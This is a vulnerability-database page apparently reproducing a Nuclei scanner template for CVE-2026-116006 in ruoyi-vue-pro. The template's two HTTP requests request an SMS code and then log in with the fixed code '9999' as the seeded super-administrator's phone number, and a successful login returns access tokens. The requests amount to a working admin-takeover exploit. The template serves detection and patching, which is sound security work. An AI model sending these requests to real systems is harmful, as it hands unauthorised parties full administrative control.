Lucene search
+L

Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code

🗓️ 29 Oct 2026 02:04:35Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 6 Views

Unauthenticated admin takeover in Ruoyi-Vue-Pro via predictable SMS codes.

Related
Refs
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2026-116006
24 Oct 202620:17
–circl
cnnvd
CNNVD
RuoYi authorization issue vulnerability
25 Oct 202600:00
–cnnvd
cve
CVE
CVE-2026-116006
25 Oct 202603:30
–cve
cvelist
Cvelist
CVE-2026-116006 YunaiV/zhijiantianya ruoyi-vue-pro SMS Code Verification AuthController.java improper authentication
25 Oct 202603:30
–cvelist
euvd
EUVD
EUVD-2026-109334
25 Oct 202603:30
–euvd
nvd
NVD
CVE-2026-116006
25 Oct 202604:17
–nvd
ptsecurity
Positive Technologies
PT-2026-122936
25 Oct 202600:00
–ptsecurity
id: CVE-2026-116006

info:
  name: Ruoyi-Vue-Pro - Unauthenticated Admin Takeover via Predictable SMS Code
  author: kosoyyagent
  severity: critical
  description: |
    ruoyi-vue-pro (Yudao) ships base configuration yudao.sms-code.begin-code=end-code=9999, so every generated SMS verification code is the constant "9999" in all profiles. The anonymous SMS-login flow therefore grants an access token to any account whose mobile number is known: send-sms-code followed by sms-login with code 9999 issues a full token, including for the seeded super administrator account (mobile 18818260272 in the shipped SQL). No CAPTCHA hook exists for scene=21 in any profile.
  impact: |
    Remote attackers can bypass authentication, potentially gaining unauthorized access to the system.
  remediation: |
    Update to the latest version.
  reference:
    - https://gist.github.com/Fulucky0-yuri/1ad8a1f166af7cb85c498473753a8636
    - https://github.com/YunaiV/ruoyi-vue-pro
    - https://nvd.nist.gov/vuln/detail/CVE-2026-116006
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.2
    cve-id: CVE-2026-116006
    cwe-id: CWE-1188,CWE-798
    epss-score: 0.00834
    epss-percentile: 0.57528
  metadata:
    verified: true
    max-request: 2
    fofa-query: body="ruoyi-vue-pro"
  tags: cve,cve2026,ruoyi,yudao,auth-bypass

http:
  - raw:
      - |
        POST /admin-api/system/auth/send-sms-code HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mobile":"18818260272","scene":21}

      - |
        POST /admin-api/system/auth/sms-login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"mobile":"18818260272","code":"9999"}

    cookie-reuse: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'accessToken":'
          - 'refreshToken":'
        condition: and

      - type: word
        part: body
        words:
          - "\"code\":0"
# digest: 4b0a00483046022100bf2eca66ac9d242971e2d4f98889614e5fae697d5564bc79869b8c76cca59e8c022100c316234112a849ed210199d045bb61c28303eca2d493447df56dbde86cd76e9a:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Oct 2026 16:03Current
7.3High risk
Vulners AI Score7.3
CVSS 46.9
CVSS 3.17.3
CVSS 37.3
CVSS 27.5
EPSS0.00834
6